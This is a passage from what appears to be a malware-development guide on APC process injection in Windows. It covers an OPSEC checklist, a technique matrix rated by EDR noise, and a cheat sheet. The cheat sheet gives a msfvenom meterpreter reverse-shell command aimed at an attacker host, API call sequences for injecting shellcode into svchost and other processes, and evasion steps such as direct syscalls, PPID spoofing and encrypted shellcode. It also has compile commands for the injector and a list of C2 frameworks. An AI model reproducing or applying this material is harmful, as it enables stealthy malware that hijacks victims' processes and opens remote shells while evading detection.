☐ Delay between WriteProcessMemory and QueueUserAPC (randomize)

Post-injection:
☐ Close process and thread handles immediately after injection
☐ Free injection stubs if no longer needed
☐ Change memory permissions after shellcode runs (RX → RW → dealloc)
☐ Avoid letting shellcode leave RX memory regions unbacked

15. Comparison Matrix

Technique New Thread Alertable Needed Cross-Process OPSEC Complexity Reliability EDR Noise
Classic APC (QueueUserAPC) NO YES YES Medium Low Low–Med Medium
Early Bird APC NO (new proc) NO (suspended) YES High Medium Very High Low
NtQueueApcThread (direct syscall) NO YES YES High Medium Low–Med Low
NtQueueApcThreadEx (Special APC) NO NO YES High Medium Very High Low–Med
CRT + APC hybrid YES NO (we create it) YES Medium Medium High Medium–High
Self-APC (own process) NO YES (self) NO Very High Low High Very Low
Fiber execution NO NO NO Very High Low High Very Low
Classic CreateRemoteThread YES NO YES Very Low Trivial High Very High

16. Cheat Sheet

Quick Workflow — APC Injection

# ── GENERATE SHELLCODE ─────────────────────────────────────────
# x64 reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h

# x64 Sliver shellcode (in Sliver console):
# generate --os windows --arch amd64 --format shellcode --save /tmp/sliver.bin
# Then convert:
# python3 sc_format.py /tmp/sliver.bin c > shellcode.h

# ── CHOOSE YOUR TECHNIQUE ──────────────────────────────────────
# Need reliable injection into existing process?
#   → NtQueueApcThreadEx (Special User APC) — no alertable needed
#   → Target svchost.exe / SearchIndexer.exe (always alertable)
#
# Need cleanest execution, own new process?
#   → Early Bird: CreateProcess(SUSPENDED) + inject + resume
#
# Red team / stealth priority?
#   → Direct syscalls (SysWhispers3) for all NT* calls
#   → RW → write → RX memory flow
#   → Target one identified alertable thread only

Key API Quick Reference

// ── Win32 APIs ──────────────────────────────────────────────
OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemote, pLocal, size, &written);
VirtualProtectEx(hProc, pRemote, size, PAGE_EXECUTE_READ, &old);
OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);    // User-mode APC

// ── Native APIs (prefer over Win32 for OPSEC) ───────────────
NtOpenProcess(&hProc, access, &objAttr, &clientId);
NtAllocateVirtualMemory(hProc, &pRemote, 0, &size, MEM_COMMIT, PAGE_READWRITE);
NtWriteVirtualMemory(hProc, pRemote, shellcode, size, &written);
NtProtectVirtualMemory(hProc, &pRemote, &size, PAGE_EXECUTE_READ, &old);
NtOpenThread(&hThread, THREAD_SET_CONTEXT, &objAttr, &clientId);
NtQueueApcThread(hThread, pRemote, pRemote, NULL, NULL);  // APC via native

// ── Special User APC (no alertable required) ─────────────────
NtQueueApcThreadEx(hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                   pRemote, NULL, NULL, NULL);

// ── Early Bird ───────────────────────────────────────────────
CreateProcessA(NULL, "C:\\Windows\\System32\\svchost.exe",
               NULL, NULL, FALSE, CREATE_SUSPENDED|CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// ... alloc + write shellcode in pi.hProcess ...
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);
ResumeThread(pi.hThread);

// ── Self-APC ─────────────────────────────────────────────────
// Allocate + write shellcode locally
QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), 0);
SleepEx(INFINITE, TRUE);  // Triggers APC dispatch on current thread

Decision Tree — Which APC Variant?

Need to inject shellcode?
│
├─ Self / own process only (no cross-process)?
│   └─ Self-APC: VirtualAlloc → write → VirtualProtect(RX)
│       → QueueUserAPC(GetCurrentThread) → SleepEx(INFINITE, TRUE)
│
├─ Injecting into EXISTING process?
│   │
│   ├─ Target known to have alertable threads? (svchost, SearchIndexer)
│   │   ├─ OPSEC priority?
│   │   │   └─ Direct syscall NtQueueApcThread (SysWhispers3)
│   │   └─ Quick & dirty?
│   │       └─ Classic QueueUserAPC (all threads)
│   │
│   ├─ Target alertability unknown?
│   │   └─ NtQueueApcThreadEx with SPECIAL_USER_APC flag
│   │       → No alertable state required
│   │
│   └─ Guarantee alertable thread exists?
│       └─ Hybrid: CreateRemoteThread(alertable_sleep_stub) 
│           → SleepEx(INFINITE, TRUE) in remote
│           → QueueUserAPC to that thread
│
├─ Maximum stealth / OPSEC?
│   └─ Early Bird:
│       CreateProcess(SUSPENDED) → inject → QueueUserAPC → ResumeThread
│       + PPID spoof to match target environment
│       + Direct syscalls for all operations
│       + RW → RX memory flow
│       + Encrypted shellcode (decrypt in APC callback)
│
└─ CTF / learning environment?
    └─ Classic QueueUserAPC (queue to ALL threads)
        → Choose a target like notepad.exe (GUI = alertable main thread)
        → Or inject into your own process with SleepEx

Alertable Wait Functions Quick Reference

// Enter alertable wait — these trigger APC dispatch:
SleepEx(INFINITE, TRUE);                             // Most common
WaitForSingleObjectEx(hObj, INFINITE, TRUE);
WaitForMultipleObjectsEx(n, handles, FALSE, INFINITE, TRUE);
MsgWaitForMultipleObjectsEx(0, NULL, INFINITE, QS_ALLEVENTS, MWMO_ALERTABLE);
GetQueuedCompletionStatusEx(iocp, entries, n, &removed, INFINITE, TRUE);

// NON-alertable (APCs NOT dispatched):
Sleep(1000);                                          // NOT alertable
WaitForSingleObject(hObj, INFINITE);                 // NOT alertable
WaitForMultipleObjects(n, handles, FALSE, INFINITE); // NOT alertable

Find PID / TID (Quick Commands)

# Find target PID
Get-Process svchost | Select Id, Name, Description

# Get all threads of a process
$pid = 1234
(Get-Process -Id $pid).Threads | Select Id, ThreadState, WaitReason

# WaitReason values that suggest alertable:
# UserRequest (5), DelayExecution (6), WrUserRequest (3)
:: List processes
tasklist /v
tasklist /fi "IMAGENAME eq svchost.exe"

:: Get threads (requires Sysinternals handle.exe / procexp)
handle.exe -p svchost.exe
# Find svchost PID (from Linux, targeting remote Windows):
# crackmapexec smb 10.10.10.10 -u user -p pass --processes
# Or use CSharpRepl / Bof tooling from your C2

Compile Commands

:: MSVC — compile injector
cl.exe apc_inject.c /Fe:apc_inject.exe /link kernel32.lib

:: With SysWhispers3 (requires ml64.exe for .asm)
ml64.exe /c syscallsstubs.asm /Fo syscallsstubs.obj
cl.exe apc_inject.c syscalls.c syscallsstubs.obj /Fe:apc_inject.exe

:: MinGW cross-compile (from Linux)
x86_64-w64-mingw32-gcc apc_inject.c -o apc_inject.exe -lkernel32 -lntdll

:: Compile Early Bird loader
cl.exe early_bird.c /Fe:early_bird.exe /link kernel32.lib

References & Tools

Core Tools & Projects: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall stub generator) - HellsGate — https://github.com/am0nsec/HellsGate (runtime SSN resolution) - TartarusGate — https://github.com/trickster0/TartarusGate (unhooking + syscalls) - FreshyCalls — https://github.com/crummie5/FreshyCalls (sort-based SSN resolution) - SharpAPC — https://github.com/S3cur3Th1sSh1t/SharpAPC (C# APC injection PoC)

Offensive Frameworks (APC support built-in): - Sliver C2 — https://github.com/BishopFox/sliver (APC-based injection in BOFs) - Havoc C2 — https://github.com/HavocFramework/Havoc (process injection modules) - Cobalt Strike — shinject, inject (APC under the hood) - Metasploit — migrate (uses various injection techniques)

BOFs (Beacon Object Files — for C2 use): - InlineExecute-Assembly — APC-aware BOFs - TrustedSec BOF Collection — https://github.com/trustedsec/CS-Remote-OPs-BOF

Research & Reading: - Ired.team — "Shellcode Execution via CreateFiber" + APC injection walkthroughs - modexp.wordpress.com — Deep APC internals (NtQueueApcThreadEx, Special User APC) - Elastic Security Research — APC injection detection techniques - VX-Underground — Offensive APC technique samples - Sektor7 — Malware Development Intermediate course (APC section) - Windows Internals (Yosifovich, Ionescu) — Part 1, Chapter 3: Threads & APCs


← Malware development top ↑